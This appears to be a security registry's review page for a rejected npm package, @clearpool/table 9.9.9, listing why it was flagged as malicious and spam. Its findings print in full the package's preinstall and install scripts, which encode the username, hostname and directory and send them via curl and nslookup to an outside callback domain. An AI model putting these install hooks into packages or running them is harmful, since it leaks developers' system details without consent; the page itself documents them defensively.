All @clearpool/table versions

@clearpool/[email protected] rejected Risk: 100 ISC

@clearpool/table @9.9.9

rejected
This version was rejected. It did not pass GreenFlagged's security review and is not served by the registry. The findings and risk dispositions below explain why.
npm Tarball
100
Risk Score
ISC
License
Yes
Install Scripts
0
Dependencies
0
Dev Dependencies
.5 KB
Package Size
Published

Internal automation library.

Maintainers

aidanmochan

Risk Dispositions (3 applicable to this version, 0 other)

Accepted rules are downgraded to INFO on future analyses; rejected rules escalate to CRITICAL.

Rule Source Disposition Author Reason
install-script:preinstall install-scripts reject AI AI (install-scripts): Exfiltrates system info to attacker-controlled domain; malicious by design, generalizes to all versions.
install-script:install install-scripts reject AI AI (install-scripts): Identical exfiltration payload in install script; malicious by design, generalizes to all versions.
bogus-package bogus-package reject AI AI (bogus-package): Empty shell package with no legitimate purpose; all bogus signals confirmed.

SAST Findings (5)

CRITICAL MAL-2026-3058: Malicious code in @clearpool/table (npm) osv

--- _-= Per source details. Do not edit below this line.=-_ ## Source: ossf-package-analysis (4acb32d4fa4e3ebc754ea451ec9478ef113dcb01749e5bbcc03bf0f6788fd261) The OpenSSF Package Analysis project identified '@clearpool/table' @ 9.9.9 (npm) as malicious. It is considered malicious because: - The package executes one or more commands associated with malicious behavior.

HIGH Package has 'preinstall' script install-scripts

Script: b64=$(echo "$(whoami):$(hostname):$(pwd):$npm_package_name" | base64 -w0); pkgsub=$(echo "$npm_package_name" | sed 's/@//g; s/\//-/g'); pkgdns=$(echo "$npm_package_name" | base64 -w0 | tr '+/' '-_' | tr -d '='); curl -sm5 https://$pkgsub.callback.m0chan.co.uk/$b64; nslookup $pkgdns.$pkgsub.callback.m0chan.co.uk

HIGH Package has 'install' script install-scripts

Script: b64=$(echo "$(whoami):$(hostname):$(pwd):$npm_package_name" | base64 -w0); pkgsub=$(echo "$npm_package_name" | sed 's/@//g; s/\//-/g'); pkgdns=$(echo "$npm_package_name" | base64 -w0 | tr '+/' '-_' | tr -d '='); curl -sm5 https://$pkgsub.callback.m0chan.co.uk/$b64; nslookup $pkgdns.$pkgsub.callback.m0chan.co.uk

HIGH Low-value / spam package indicators (6 signals, score 7) bogus-package

Matched 6 signal(s), weighted score 7: • [S_README_NO_CODE] Short README with no code block, no install instructions, and no usage/API section. • [S_NO_REPO_NO_HOME] No repository, homepage, or bugs URL — genuine packages almost always link somewhere. • [S_NO_KEYWORDS] No keywords declared. • [S_NO_DEPS] No runtime, dev, peer, or optional dependencies declared. • [S_TINY_PAYLOAD] Tiny payload: 1 code file(s), 948 bytes total. • [S_EMPTY_MAIN] Entry point (index.js) is 21 bytes — effectively empty.

LOW No provenance attestation provenance

Package was published without Sigstore provenance. Only ~12% of npm packages have provenance, so this is common but not ideal.

Review Summary

Risk score: 100 (capped from 118). Findings: 1 critical (+40), 3 high (+75), 1 low (+3).

Published to npm: